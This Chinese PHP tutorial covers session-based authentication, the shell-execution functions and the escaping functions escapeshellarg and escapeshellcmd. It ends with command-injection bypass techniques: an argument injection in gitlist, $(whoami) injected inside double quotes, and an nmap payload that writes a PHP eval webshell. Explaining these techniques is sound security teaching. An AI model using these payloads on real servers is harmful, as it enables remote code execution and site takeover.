会话跟踪(Session Tracking) 是 Web 开发中非常重要的一部分,特别是在无状态的 HTTP 协议中。因为 HTTP 是无状态的协议,这意味着每次用户发送请求时,服务器无法自动识别这是不是同一个用户。在这样的背景下,会话跟踪 技术帮助 Web 应用程序保持和识别用户状态,从而实现个性化功能、购物车、用户认证等功能。
Session(会话) 是一种在客户端和服务器之间跟踪用户状态的技术。会话允许 Web 应用在多个请求之间保持用户的状态(如用户登录状态、用户个性化设置等)。每个用户会话都由一个 唯一的会话 ID 标识,服务器根据这个 ID 来识别每个用户的会话。
基本过程
PHP 通过 会话(Session) 机制来追踪用户的请求。会话跟踪的基本过程是:
用户第一次访问网站时,服务器生成一个唯一的 Session ID。
服务器在用户的浏览器中设置一个 Session Cookie。Cookie 的名称通常为
PHPSESSID
,保存的是唯一的 Session ID。随后,用户每次请求时,都会通过 Session ID 来识别是否是同一个用户,进而获取和存储用户的数据。
代码实现
启动会话
在 PHP 页面中使用 会话跟踪 时,必须通过 session_start()
来启动会话。每个页面在使用会话数据之前,都应该调用 session_start()
。
注意
session_start()
必须在任何 HTML 输出之前调用(即 <html>
标签之前),否则会导致“Header already sent”错误。
session_start()
调用时会开启一个会话,具体有如下过程:
- 读取会话 ID(Session ID) :PHP 会检查客户端请求中是否携带会话 ID。
- 通过 Cookie :默认情况下,会话 ID 存储在客户端的 Cookie 中,名为
PHPSESSID
。PHP 会从客户端的 Cookie 中读取该 Session ID。 - 通过 URL 重写 :如果客户端没有 Cookie 或者 Cookie 被禁用,PHP 会检查 URL 中是否包含会话 ID。会话 ID 会作为查询参数附加在 URL 中(例如
index.php?PHPSESSID=123456
)。不过,使用 URL 重写的方式比较少见,通常还是依赖 Cookie。
- 通过 Cookie :默认情况下,会话 ID 存储在客户端的 Cookie 中,名为
- 检查会话 ID 是否有效 :如果会话 ID 存在,PHP 会检查该 ID 是否有效,通常通过在服务器上查找对应的会话文件来确认。PHP 会话数据通常存储在服务器的临时目录(如
/tmp
)中,文件名通常为sess_<session_id>
,其中<session_id>
就是存储在客户端 Cookie 中的 Session ID。 - 加载会话数据 : 如果会话 ID 是有效的,PHP 会从存储该会话数据的文件中读取用户的会话数据,并将其加载到
$_SESSION
超级全局数组中。此时,你可以通过$_SESSION
数组来访问和修改会话中的数据。 - 创建新的会话 : 如果没有找到有效的会话 ID,PHP 会为用户创建一个新的会话 ID,并生成一个新的会话文件用于存储该会话数据。新会话的 ID 会通过
PHPSESSID
存储到客户端的 Cookie 中,以便后续请求能够继续使用该会话 ID。
访问会话数据
PHP 会话数据存储在 $_SESSION
超级全局数组中。你可以通过 $_SESSION
来存储和获取和删除用户数据。
1 | session_start(); // 启动会话 |
提示
会话数据只会在同一会话内有效,用户关闭浏览器后,通常会话数据会被销毁,除非你指定了会话的生命周期。
销毁会话
当用户注销时,我们通常会销毁会话:
1 | session_start(); // 启动会话 |
session_unset()
会 清除会话中的所有变量* ,但是 不会销毁会话本身* ,也就是说,session_unset()
只是清除会话数据,并不结束会话,也不会销毁会话 ID。session_destroy()
会销毁 整个会话* ,包括 会话 ID 和 会话数据。调用后,所有与当前会话相关的会话文件都会被标记为无效,并且服务器上的会话数据会被删除。但 会话文件不会立刻删除* ,而是直到下次session_start()
时,由 PHP 会话垃圾回收机制清理过期的会话文件。
会话相关配置
PHP 允许你通过修改 php.ini
文件或使用 ini_set()
来配置会话的行为,例如会话过期时间、存储位置等。
会话过期时间
会话过期时间 控制着会话数据的最大有效时间,它决定了在没有活动时,PHP 会话将保留多长时间。会话过期后,相关的会话数据将被清理。
session.gc_maxlifetime
:该配置项决定了会话数据的最大有效时间(默认为 1440,即 24 分钟)。如果会话数据在指定的时间内没有活动,PHP 会将其标记为过期,等待垃圾回收机制清理。1
ini_set('session.gc_maxlifetime', 3600); // 设置会话最大生命周期为 1 小时
session.cookie_lifetime
:该配置项设置会话 Cookie 的有效期(单位:秒)。它控制浏览器中存储的会话 Cookie 的生命周期。默认值为 0,即会话 Cookie 会在浏览器关闭时失效。1
ini_set('session.cookie_lifetime', 3600); // 设置会话 Cookie 的有效期为 1 小时
会话存储位置
默认情况下,PHP 会把会话数据存储在服务器的 /tmp
目录或 PHP 配置中的 session.save_path
目录下。你可以自定义存储位置,例如将会话数据存储在数据库中。
1 | ini_set('session.save_handler', 'files'); // 默认存储方式(文件) |
基于会话的认证与鉴权
这里以一个实际的示例讲解如何使用 PHP 会话跟踪(Session Tracking) 实现典型的鉴权和登录认证过程。示例包含三个文件:
login.php
:处理登录请求的页面。dashboard.php
:用户必须登录后才能访问的页面。logout.php
:处理用户注销的页面。
sequenceDiagram participant Client participant Browser participant PHP participant SessionStorage as SessionStorage(/tmp/sess_abc123) %% 🟡 初次访问 login.php(未登录,无 Cookie) opt 🟡 会话初始化 Client->>Browser: 打开 login.php Browser->>PHP: 请求 login.php(无 Cookie) PHP->>PHP: session_start() PHP->>PHP: 生成 session_id = abc123 PHP->>SessionStorage: 创建 sess_abc123 文件(空) PHP-->>Browser: Set-Cookie: PHPSESSID=abc123 Browser-->>Client: 返回登录页面 end %% 🟢 提交登录表单 opt 🟢 登录处理 Client->>Browser: 输入用户名/密码并提交表单 Browser->>PHP: POST login.php
Cookie: PHPSESSID=abc123 PHP->>PHP: session_start() PHP->>PHP: 验证用户名/密码 alt ✅ 登录成功 PHP->>PHP: $_SESSION['user_id'] = "admin" PHP->>SessionStorage: 写入 sess_abc123 PHP-->>Browser: 跳转 dashboard.php else ❌ 登录失败 PHP-->>Browser: 显示错误提示 end end %% 🔐 用户访问受限页面 dashboard.php opt 🔐 鉴权判断 Client->>Browser: 访问 dashboard.php Browser->>PHP: 请求 dashboard.php
Cookie: PHPSESSID=abc123 PHP->>PHP: session_start() PHP->>SessionStorage: 读取 sess_abc123 alt ✅ 已登录($_SESSION['user_id'] 存在) PHP-->>Browser: 显示欢迎页面 else ❌ 未登录 PHP-->>Browser: 跳转 login.php end end %% 🔚 注销流程 opt 🔚 登出与销毁会话 Client->>Browser: 点击 logout 链接 Browser->>PHP: 请求 logout.php
Cookie: PHPSESSID=abc123 PHP->>PHP: session_start() PHP->>PHP: session_unset() PHP->>PHP: session_destroy() PHP->>SessionStorage: 删除 sess_abc123 PHP-->>Browser: 跳转 login.php end
登录页面 (login.php
)
1 |
|
- 如果
$_SESSION['user_id']
已经存在,说明用户已经登录,那么我们 **直接重定向到dashboard.php
**。 - 如果用户未登录,则继续显示登录表单,用户填写用户名和密码后进行验证,验证成功后存储会话数据并重定向到
dashboard.php
。
控制面板页面 (dashboard.php
)
1 |
|
如果会话中不存在
$_SESSION['user_id']
,说明用户没有登录,页面会将用户重定向到login.php
页面。如果用户已登录,显示欢迎消息并允许用户退出(注销)。
注销页面 (logout.php
)
1 |
|
调用
session_unset()
来清除所有会话变量,确保用户的登录信息被清空。调用
session_destroy()
来销毁会话,确保会话 ID 被清除。最后,用户会被重定向到登录页面。
代码执行相关
命令执行
命令执行函数
函数 | 是否返回输出 | 是否直接显示输出 | 是否可获取返回码 | 是否支持交互 | 特点总结 |
---|---|---|---|---|---|
`cmd` |
✅ 是 | ❌ 否 | ❌ 否 | ❌ 否 | 最简洁的语法形式,返回完整标准输出 |
shell_exec |
✅ 是 | ❌ 否 | ❌ 否 | ❌ 否 | 功能类似反引号,适合获取输出字符串处理 |
exec |
✅(最后一行) | ❌ 否 | ✅ 是 | ❌ 否 | 可通过参数获取全部输出数组和返回码 |
system |
✅(最后一行) | ✅ 是(直接打印) | ✅ 是 | ❌ 否 | 会直接输出命令内容,适合终端型命令 |
passthru |
❌ 否 | ✅ 是(原始输出) | ✅ 是 | ❌ 否 | 保留输出原格式(如二进制/ANSI 码) |
popen |
✅ 是(单向) | ❌ 否 | ❌ 否 | ⚠️ 半交互(只读或只写) | 类似 fopen() ,只能读或只能写 |
proc_open |
✅ 是(双向) | ✅ 控制可定制 | ✅ 是 | ✅ 是 | 最强大,适用于复杂通信、脚本交互 |
反引号
PHP 中支持通过反引号(cmd
)执行外部命令,语法与 Unix Shell 相似。命令的输出会作为字符串返回,效果与 shell_exec()
基本一致,但语法更简洁,适合快速使用。
1 | $output = `command`; |
参数:命令字符串,写在反引号内。
返回值:命令执行的完整输出字符串。
示例:
1
2$output = `whoami`;
echo $output;
shell_exec
shell_exec
函数通过 shell 执行外部命令,并返回命令的完整输出字符串(包括换行符)。它不会直接将输出显示在页面上,而是作为结果返回,非常适合后续处理或格式化。
1 | function shell_exec(string $command): string|false|null {} |
参数:
string $command
:要执行的命令字符串。
返回值:
返回执行命令后的完整输出(包含换行);
如果命令无输出,返回
null
;如果执行失败,返回
false
。
示例:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/**
* 示例:使用 shell_exec() 执行 'ls -la'
* 并返回命令输出为字符串,再逐行打印
*/
$command = 'ls -la'; // 要执行的命令
$result = shell_exec($command); // 执行并获取完整输出
echo "命令执行中:$command\n";
echo "----------------------------------\n";
if ($result === false) {
echo "❌ 命令执行失败\n";
} elseif ($result === null) {
echo "⚠️ 命令无输出\n";
} else {
echo $result; // 直接打印输出结果
echo "----------------------------------\n";
// 示例:逐行遍历
$lines = explode("\n", trim($result));
echo "共 " . count($lines) . " 行输出,最后一行:\n";
echo "👉 " . end($lines) . "\n";
}运行结果:
1
2
3
4
5
6
7
8
9命令执行中:ls -la
----------------------------------
total 12
drwxr-xr-x 3 www-data www-data 4096 Jul 28 14:00 .
drwxr-xr-x 11 www-data www-data 4096 Jul 28 13:00 ..
drwxr-xr-x 2 www-data www-data 4096 Jul 28 14:00 public
----------------------------------
共 4 行输出,最后一行:
👉 drwxr-xr-x 2 www-data www-data 4096 Jul 28 14:00 public
exec
exec
函数用于执行外部程序,并返回命令输出的最后一行。支持可选参数用于收集完整输出和命令返回码,适用于命令执行并需要捕获输出的场景。
1 | function exec(string $command, &$output, &$result_code): string|false {} |
参数:
string $command
:要执行的命令字符串。array &$output
(可选):用于接收命令的每一行输出(每行作为数组一个元素,结尾不会带\n
)。注意
如果数组已存在内容,
exec()
会将新输出追加至末尾。如不希望追加,请使用unset($output)
清空数组。int &$result_code
(可选):用于接收命令执行后的退出状态码(通常为0
表示成功)。
返回值:
成功时,返回命令输出的最后一行字符串;
提示
- 要获取所有输出,应使用
$output
参数; - 若需要直接输出原始命令结果(如用于下载或显示大文本),建议使用
passthru()
。
- 要获取所有输出,应使用
失败时,返回
false
;
示例:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/**
* 示例:使用 exec() 执行 'ls -la' 并获取输出和返回码
*/
$command = 'ls -la'; // 要执行的命令
$output = []; // 用于接收每一行输出
$returnCode = 0; // 用于接收命令的返回码
$lastLine = exec($command, $output, $returnCode);
// 输出结果
echo "命令执行完毕:$command\n";
echo "----------------------------------\n";
echo "最后一行输出:$lastLine\n";
echo "完整输出内容:\n";
foreach ($output as $line) {
echo $line . "\n";
}
echo "----------------------------------\n";
echo "命令返回码:$returnCode\n";
// 判断是否执行成功(通常 0 表示成功)
if ($returnCode === 0) {
echo "✅ 命令执行成功\n";
} else {
echo "❌ 命令执行失败,返回码:$returnCode\n";
}运行结果:
1
2
3
4
5
6
7
8
9
10
11命令执行完毕:ls -la
----------------------------------
最后一行输出:drwxr-xr-x 2 www-data www-data 4096 Jul 28 13:55 public
完整输出内容:
total 12
drwxr-xr-x 3 www-data www-data 4096 Jul 28 13:55 .
drwxr-xr-x 11 www-data www-data 4096 Jul 28 13:00 ..
drwxr-xr-x 2 www-data www-data 4096 Jul 28 13:55 public
----------------------------------
命令返回码:0
✅ 命令执行成功
system
system
函数用于执行一个外部程序,并将命令的输出直接打印到标准输出(通常是浏览器)。该函数同时返回命令输出的最后一行,可选参数可用于获取命令的返回状态码。
1 | function system(string $command, int &$result_code = null): string|false {} |
参数:
string $command
:要执行的系统命令字符串。int &$result_code
(可选):用于接收命令的退出状态码(exit code),通常为0
表示成功。
返回值:
- 成功时:返回命令输出的最后一行字符串;
- 失败时:返回
false
;
提示
system
和exec
的区别:system()
命令执行的完整输出将直接显示(echo 到浏览器),不会返回到函数中。而
exec()
默认不输出内容,而是将全部输出写入数组。
示例:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/**
* 示例:使用 system() 执行 'ls -la'
* 并显示命令输出及最后一行与返回码
*/
$command = 'ls -la'; // 要执行的命令
$exitCode = 0; // 用于接收命令的退出状态码
echo "命令执行中:$command\n";
echo "----------------------------------\n";
// 执行命令并直接输出到标准输出,同时获取最后一行
$lastLine = system($command, $exitCode);
echo "----------------------------------\n";
echo "最后一行输出:$lastLine\n";
echo "命令返回码:$exitCode\n";
// 状态码判断
if ($exitCode === 0) {
echo "✅ 命令执行成功\n";
} else {
echo "❌ 命令执行失败,返回码:$exitCode\n";
}运行结果:
1
2
3
4
5
6
7
8
9
10命令执行中:ls -la
----------------------------------
total 12
drwxr-xr-x 3 www-data www-data 4096 Jul 28 13:55 .
drwxr-xr-x 11 www-data www-data 4096 Jul 28 13:00 ..
drwxr-xr-x 2 www-data www-data 4096 Jul 28 13:55 public
----------------------------------
最后一行输出:drwxr-xr-x 2 www-data www-data 4096 Jul 28 13:55 public
命令返回码:0
✅ 命令执行成功
passthru
passthru
函数用于执行外部程序,并将原始输出(包括二进制或 ANSI 控制符)直接传输到标准输出,不返回结果内容,适合处理图像、音频、终端控制类输出(如 top
、ffmpeg
、cat 图片
等)。
1 | function passthru(string $command, int &$result_code = null): ?bool {} |
参数:
string $command
:要执行的命令字符串,适合输出流结果,如cat file.txt
、tput cols
、top
等。int &$result_code
(可选):命令执行后的退出状态码(exit code)将写入此变量中。
返回值:
执行成功返回
null
;执行失败返回
false
;
示例:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/**
* 示例:使用 passthru() 执行 'ls -la'
* 直接将命令原始输出打印到终端
*/
$command = 'ls -la';
$exitCode = 0;
echo "命令执行中:$command\n";
echo "----------------------------------\n";
// 直接将命令原始输出显示出来
$result = passthru($command, $exitCode);
echo "\n----------------------------------\n";
echo "命令返回码:$exitCode\n";
if ($result === false) {
echo "❌ 命令执行失败\n";
} else {
echo "✅ 命令执行成功\n";
}运行结果:
1
2
3
4
5
6
7
8
9命令执行中:ls -la
----------------------------------
total 12
drwxr-xr-x 3 www-data www-data 4096 Jul 28 14:05 .
drwxr-xr-x 11 www-data www-data 4096 Jul 28 13:00 ..
drwxr-xr-x 2 www-data www-data 4096 Jul 28 14:00 public
----------------------------------
命令返回码:0
✅ 命令执行成功
popen
popen
函数用于打开一个指向进程的文件指针,可以读取命令输出或向命令写入输入,行为类似于 fopen
,但它是单向的(只读或只写)。
提示
通俗点打开一个命令行窗口,然后用 PHP 去 读这个命令的输出,或者写点东西给这个命令处理。
1 | function popen(string $command, string $mode): resource|false {} |
参数:
string $command
:要执行的 shell 命令。string $mode
:打开模式,通常为'r'
(读取)或'w'
(写入)。'r'
:从命令的标准输出读取(常见);'w'
:向命令的标准输入写入。
提示
popen
行为类似于fopen
,但它是单向的(只读或只写)。这是因为popen
打开的是和子进程之间的管道(pipe)。而管道在系统层面上是单向的,即要么是读管道,要么是写管道;所以 PHP 抽象出的popen()
接口,也必须强制你指定是读"r"
还是写"w"
。如果你想双向,就需要手动建立两个管道,这超出了
popen()
能力范围(但proc_open()
可以)。
返回值:
如果打开成功则返回一个资源类型的文件指针(
resource
),可用于fgets()
、fwrite()
等函数;注意
进程结束时应使用
pclose()
关闭文件指针。如果打开失败,返回
false
;
示例:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/**
* 使用 popen() 执行 'ls -la' 命令,并逐行读取输出
*/
$cmd = 'ls -la';
$handle = popen($cmd, 'r'); // 只读方式打开进程输出
if ($handle === false) {
echo "❌ 无法执行命令\n";
exit;
}
echo "命令执行中:$cmd\n";
echo "----------------------------------\n";
while (!feof($handle)) {
$line = fgets($handle);
if ($line !== false) {
echo $line;
}
}
pclose($handle); // 关闭文件指针运行结果:
1
2
3
4
5
6命令执行中:ls -la
----------------------------------
total 12
drwxr-xr-x 3 www-data www-data 4096 Jul 28 14:00 .
drwxr-xr-x 11 www-data www-data 4096 Jul 28 13:00 ..
drwxr-xr-x 2 www-data www-data 4096 Jul 28 14:00 public
proc_open
proc_open
函数用于执行外部程序,并同时建立与其标准输入(stdin)、标准输出(stdout)、标准错误(stderr)等的通信管道,支持读写交互,适用于需要实时输入/输出控制的复杂场景(如:交互式命令、流式处理、脚本调用)。
1 | function proc_open( |
参数:
array|string $command
:要执行的命令,可以是字符串或参数数组(数组模式更安全,避免 shell 注入)。- 字符串形式(如
'ls -la'
),默认通过 shell 执行; - 数组形式(如
['ls', '-la']
),更安全,避免 shell 注入,PHP 会自动处理参数转义。
提示
$command
参数使用数组形式传给proc_open()
更安全,能防止命令注入。这是因为数组形式不会经过 shell 解析,PHP 会绕过 shell,直接用低级系统调用(execve(cmd, argv, env)
)执行命令,不会解析分号、反引号、管道符、逻辑运算符等 shell 元字符,因此注入攻击失效。- 字符串形式(如
array $descriptor_spec
:描述子进程的标准输入、输出和错误输出的行为方式。这个参数是一个索引数组,默认写法如下:1
2
3
4
5[
0 => ['pipe', 'r'], // 子进程的 stdin,可写
1 => ['pipe', 'w'], // 子进程的 stdout,可读
2 => ['pipe', 'w'] // 子进程的 stderr,可读(可选)
]数组中的成员有三种形式:
类型 用法示例 说明 'pipe'
['pipe', 'r']
/['pipe', 'w']
建立管道,允许 PHP 与子进程通信 'file'
['file', '/tmp/out.log', 'w']
将输出直接写入文件(不会生成 $pipes[n]
)resource
(描述符)fopen(...)
/STDERR
/STDOUT
传入现有文件或流资源 如果你使用
'pipe'
类型,对应的 PHP 端句柄会自动写入$pipes[n]
数组中:$descriptor_spec[n]
设置方式$pipes[n]
的作用['pipe', 'r']
$pipes[n]
是一个写入句柄 →fwrite()
['pipe', 'w']
$pipes[n]
是一个读取句柄 →fread()
'file'
/resource
不会出现在 $pipes
中array &$pipes
:引用传入的数组,函数会将用于通信的管道文件指针写入其中:$pipes[0]
→ PHP 写入,传给子进程 stdin;$pipes[1]
→ PHP 读取子进程的 stdout;$pipes[2]
→ PHP 读取子进程的 stderr(如果定义了)。
可用于
fwrite()
、fread()
、stream_get_contents()
等。string|null $cwd
(可选):设置子进程的工作目录,必须是绝对路径。设为null
表示使用当前 PHP 进程的工作目录。array|null $env_vars
(可选):设置子进程的环境变量($_ENV
)。设为null
表示继承 PHP 当前环境。array|null $options
(可选):附加选项数组,可包含(多数仅适用于 Windows):'suppress_errors'
:true
时抑制错误输出;'bypass_shell'
:true
时跳过cmd.exe
(Windows 专用);'blocking_pipes'
:强制阻塞式读写;'create_process_group'
、'create_new_console'
等。
返回值:
- 返回一个表示子进程的资源(
resource
),用于后续通过proc_close()
关闭; - 如果创建失败,返回
false
。
- 返回一个表示子进程的资源(
示例:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
/**
* 示例:使用 proc_open 执行 sort 命令,向其写入多行数据,
* 再从 stdout 管道中读取排序后的结果
*/
$cmd = ['sort'];
$desc = [
0 => ['pipe', 'r'], // 子进程输入(可写)
1 => ['pipe', 'w'], // 子进程输出(可读)
2 => ['pipe', 'w'] // 子进程错误输出(可读)
];
$pipes = [];
$proc = proc_open($cmd, $desc, $pipes);
if (is_resource($proc)) {
fwrite($pipes[0], "banana\napple\ncherry\n");
fclose($pipes[0]); // 关闭写入端,通知子进程输入结束
echo "排序输出:\n";
echo stream_get_contents($pipes[1]); // 读取子进程输出
fclose($pipes[1]);
$stderr = stream_get_contents($pipes[2]);
fclose($pipes[2]);
$exitCode = proc_close($proc);
echo "----------------------------------\n";
echo "命令返回码:$exitCode\n";
if ($stderr) {
echo "⚠️ 错误输出:\n$stderr\n";
}
} else {
echo "❌ 启动子进程失败\n";
}运行结果:
1
2
3
4
5
6排序输出:
apple
banana
cherry
----------------------------------
命令返回码:0
命令过滤函数
escapeshellarg
escapeshellarg()
函数用于将一个字符串安全地转义为 shell 命令参数,会自动用单引号包裹,并对其中的单引号进行特殊处理,以防止命令注入漏洞。适用于通过 exec()
、system()
等函数执行外部命令时拼接用户输入。
1 | function escapeshellarg(string $arg): string {} |
参数:
string $arg
:要转义的字符串,通常是用户输入,可能包含空格、特殊字符、引号等。
返回值:
string
:返回一个安全的 shell 参数字符串,已加上单引号包裹,内部的单引号被转义为'\''
形式。
也就是说,escapeshellarg()
在处理用户输入时会做两件事:
- 将原始字符串中的单引号进行转义,方法是先关闭当前单引号字符串,插入一个单引号字符(通过
'\''
的方式实现),然后重新开启单引号字符串。也就是说每个'
会被转换为'\''
。 - 在整个字符串外层添加一对单引号,使其在 shell 中作为一个完整的、不可拆解的参数传入,避免被当成命令的一部分解析。
在 Linux shell 中,有三种包裹字符串的方式:
- 单引号(
'...'
) :完全原样,里面所有字符不解释,除了不能出现单引号'
本身。 - 双引号(
"..."
) :变量会被展开(解析$VAR
、\n
等),但字符串整体作为一个参数传递,不会因为空格被拆分。 - 无引号 :变量会被展开,但结果会被再次拆分成多个参数、并进行通配符扩展(*、?)等操作。
由于单引号的“原样输出”特性,escapeshellarg()
选择用单引号将整个字符串包裹起来,确保用户输入被完全保留、不会被 shell 解释或拆解。
然而在 shell(比如 bash)中,单引号字符串 '...'
中不能出现单引号,因为这样内部的单引号会与外层的单引号闭合,导致逃逸或者语法错误。而由于 shell 在词法层面上并不支持在单引号包裹的字符串中进行字符级的转义处理,因此我们不能使用 \'
转义单引号内部字符串中出现的单引号。
escapeshellarg
函数的做法是在 \'
外层又包裹一层单引号形成了 '\''
结构。这使得 '\''
两边的引号跟字面量最外层包裹的单引号闭合了,也就是说 \'
不在字面量的范围内。然而
- shell 在不是字面量的情况下是以空格为分隔进行参数拆分,显然
\'
中没有空格。 - shell 在不是字面量的情况下会变量会被展开,即解析解析参数 和转义字符,显然这里只是将
\'
转义成普通字符。
因此 ' → '\''
这种转换使得 '
相当于在 '...'
就是一个普通的字面量,同时保证了 escapeshellarg
的转义结果的语法的正确性。
因此,escapeshellarg()
的这种处理策略可以在拼接命令参数时有效防止命令注入,确保用户输入不会被解释为 shell 控制语法或其他命令结构。
escapeshellcmd
escapeshellcmd()
函数用于转义 shell 命令字符串中的元字符(metacharacters),防止恶意注入多条命令。适用于整个命令字符串的保护,确保不会被执行额外命令。
1 | function escapeshellcmd(string $command): string {} |
参数:
string $command
:要转义的 shell 命令字符串,通常包含程序名及参数,但参数部分建议使用escapeshellarg()
另行转义。
返回值:
string
:返回已转义的命令字符串,其中的 shell 特殊字符(如;
,&
,|
,>
,<
,\
等)会被添加反斜线进行转义。
注意
在类 Unix 系统中,下面这些字符前会被添加反斜杠(\
)进行转义:
1 | &#;`|*?~<>^()[]{}$\, \x0A\xFF |
其中 '
(单引号)和 "
(双引号)仅在它们未成对时才会被转义。
在 Windows 系统中,上述所有字符 以及 %
和 !
会被前缀一个插入符号(^
)来转义。
命令注入绕过
程序参数绕过(escapeshellarg)
例如 gitlist 0.6.0 的下面这段代码存在参数注入漏洞:
1 | $query = escapeshellarg($query); |
GitList
是一个用 PHP 编写的开源 Git 仓库浏览器,可以通过 Web 界面查看本地的 Git 仓库内容,类似于一个简易版的 GitHub 网页前端。
这样做看似没有问题,然而在 shell 中 '--open-files-in-pager=id;'
和 --open-files-in-pager=id;
是完全一样的,引号只是告诉 shell:这是一个整体参数,不做分割或变量替换。引号本身不会传给程序!
因此最终拼接出来的下面这条命令:
1 | git grep -i --line-number '--open-files-in-pager=id;' master |
在执行时 shell 实际上传递给程序的参数列表是:
1 | argv[0] = "git" |
也就是说 '--open-files-in-pager=id;'
只是告诉 shell:我这里是一个完整参数,不要因为有空格或特殊字符拆成多段了。但 shell 最终会把 '--open-files-in-pager=id;'
里的内容原封不动传给程序作为字符串参数,而不是带着引号一起传过去。
而 --open-files-in-pager
参数 grep
的一个可以执行命令的参数,因此就造成了任意命令执行。
提示
双引号逃逸(escapeshellarg)
escapeshellarg
将我们可控的命令字段放入单引号中,使其作为一个字符串整体,不会被 shell 语法解析。
然而如果我们将 escapeshellarg
转义过的命令拼接到一条命令的双引号内,那么依然会导致命令注入。
这是因为当参数被拼接进双引号中时,整个双引号内的内容会被当作一个整体传给 shell,其中即便包含了由 escapeshellarg()
添加的单引号,shell 仍会解析双引号内的内容,从而导致原本的转义效果失效。
例如下面这个例子:
1 | $ip = $_GET['ip']; |
参数 ip
在经过 escapeshellarg
转义之后又拼接到双引号之内,因此我们可以随便命令注入,例如 $(whoami)
。
过滤函数混用
由于 escapeshellarg()
和 escapeshellcmd()
函数的处理机制不同,混用容易造成二次转义混乱,这是因为 escapeshellarg
和 escapeshellcmd
处理逻辑不同,并且处理的字符是有冲突的:
escapeshellarg
是针对程序的参数的,它的作用是将字符串外面包裹一层单引号,并将'
转义成'\''
。escapeshellcmd
是针对整条命令的,它的作用是将一些会被 shell 解释的字符进行转义,其中就涉及到了escapeshellarg
所处理的'
和\
。
另外 escapeshellcmd
在转义 '
时有语法上的判断,即仅在单引号未成对存在的时候才会转义。因此如果我们将用户输入的命令先用 escapeshellarg
处理然后再用 escapeshellcmd
处理,这就导致了:
- 原本经过
escapeshellarg
处理后原本命令中的所有单引号都被正常转义(\'
),并且后续添加的所有单引号在语法上都是闭合的。 escapeshellarg
添加的转义符\
会被escapeshellcmd
当做危险字符转义成\\
,导致escapeshellarg
对单引号的转义失效了('
→'\''
→'\\''
)。- 由于
escapeshellcmd
在转义'
时有语法上的判断,即仅在单引号未成对存在的时候才会转义。而此时前面escapeshellarg
转义的单引号失效了,因此单引号闭合错误,最终导致了命令注入。
提示
如果把过滤函数调用顺序反过来,即先调用 escapeshellcmd
再调用 escapeshellarg
,那么无论 escapeshellcmd
函数做了哪些处理,escapeshellarg
总会将传递过来的结果“封印”在单引号中,因此这样写至少在安全层面上是完备的。
假设输入的内容中间有一个单引号(...'...
)则:
经过
escapeshellarg
后会变成'...'\''...'
。经过
escapeshellcmd
时:先转义不需要考虑语法的字符
\
,此时会变成'...'\\''...'
。分析单引号的闭合情况,由于
\
被转义,现在是 5 个单引号,因此最后一个单引号不闭合:‘…’\\‘’…‘将不闭合的单引号转义:
'...'\\''...'
→'...'\\''...\'
,此时 ‘…’\\‘’…\‘ 右边那段没有被引号包裹,可以逃逸出来成为一个独立的参数。
所以我们可以总结出一个规律,那就是在依次经过 escapeshellarg
和 escapeshellcmd
转换后,字符串中出现的单引号 '
会变成 '\\''
。仅考虑单引号闭合的话,相当于:
- 整个字符串中出现的 1 个单引号全部变成 3 个单引号。
- 字符串首尾各添加一个单引号。
- 从头到尾单引号两两配对,最后如果多出来一个单引号则将其转义。
由于头到尾单引号两两配对,因此单引号模式和无引号模式交替出现。我们只需要将要逃逸的命令放在无引号模式的范围并且左右添加空格截断就行。
例如这段代码:
1 | $host = $_GET['host']; |
显然我们可以通过 nmap
的 -oG
参数写一句话木马实现 RCE。
nmap
的-oG
参数表示将扫描结果保存为一种适合grep
等命令行工具处理的“机器友好”格式,写入你指定的文件中(如-oG result.txt
)。
为此我们可以构造下面这段 payload:
1 | '<?php @eval($_POST["a"]);?> -oG 1.php ' |
因为前后各 1 个单引号在转换后各变成 3 个单引号,成功与最外层的单引号闭合导致,因此中间这段 <?php @eval($_POST["a"]);?> -oG 1.php
逃逸出来。再加上 -oG 1.php
周围的空格截断,我们可以成功注入一个 -oG
命令写文件。
具体的转换过程为:
经过
escapeshellarg
转换后变成了下面这个形式。数据整体按照单引号分成了 3 个区域,中间隔着 2 个转义的单引号。‘’\‘‘<?php @eval($_POST[“a”]);?> -oG 1.php ‘\‘‘’
escapeshellcmd
将上述数据整体进行敏感字符转义。‘’\\‘’\<\?php @eval\(\$_POST\[“a”\]\)\;\?\> -oG 1.php ‘\\‘’’
由于转义后单引号的数量为偶数,因此全部满足闭合条件,后续不会转义单引号。此时中间红色部分的内容已经从单引号中逃逸出来,不受约束。
‘’\\‘’\<\?php @eval\(\$_POST\[“a”\]\)\;\?\> -oG 1.php ‘\\‘’’
尤其是最后的
-oG 1.php
由于前面被空格分隔,因此单独形成一个参数,实现文件写入。最终转以后的命令与
nmap
命令拼接形成下面这条命令:nmap -T5 -sT -Pn –host-timeout 2 -F ‘’\\‘’\<\?php @eval\(\$_POST\[“a”\]\)\;\?\> -oG 1.php ‘\\‘’’
可以看到我们传入的
host
参数通过空格分隔形成了nmap
的 4 个参数。除去最后一个无效参数'\\'''
外,前面两个参数的含义分别为:''\\''\<\?php
,@eval\(\$_POST\["a"\]\)\;\?\>
,'\\'''
:nmap
需要扫描的 3 个目标 ip-oG 1.php
:将扫描结果写到1.php
中
执行拼接后的
nmap
命令,其中参数传递情况如下:1
execve("/usr/bin/nmap", ["nmap", "-T5", "-sT", "-Pn", "--host-timeout", "2", "-F", "\\<?php", "@eval($_POST[a]);?>", "-oG", "1.php", "\\\\"], 0x7ffffa9a8218 /* 20 vars */) = 0
我们发现前面传递的参数中的
\
都消失了。这是因为 POSIX shell 在无引号时解释命令中反斜杠的规则为:\
转义紧随其后的一个字符(换行符除外):- 若是特殊字符(空格,
$
,`
,"
,'
,\
,*
,?
,[
,]
,(
,)
,|
,&
,;
,<
,>
等),则去掉它的特殊意义:- 例:
echo a\ b
→a b
(空格被保留为普通字符) - 例:
echo \$HOME
→ 输出字面$HOME
- 例:
echo \\
→\
(后一个\
被保留为普通字符)
- 例:
- 若是普通字符(如
n
、x
),\
被移除,字符原样保留:- 例:
echo \n
→ 实参是n
- 例:
- 若是特殊字符(空格,
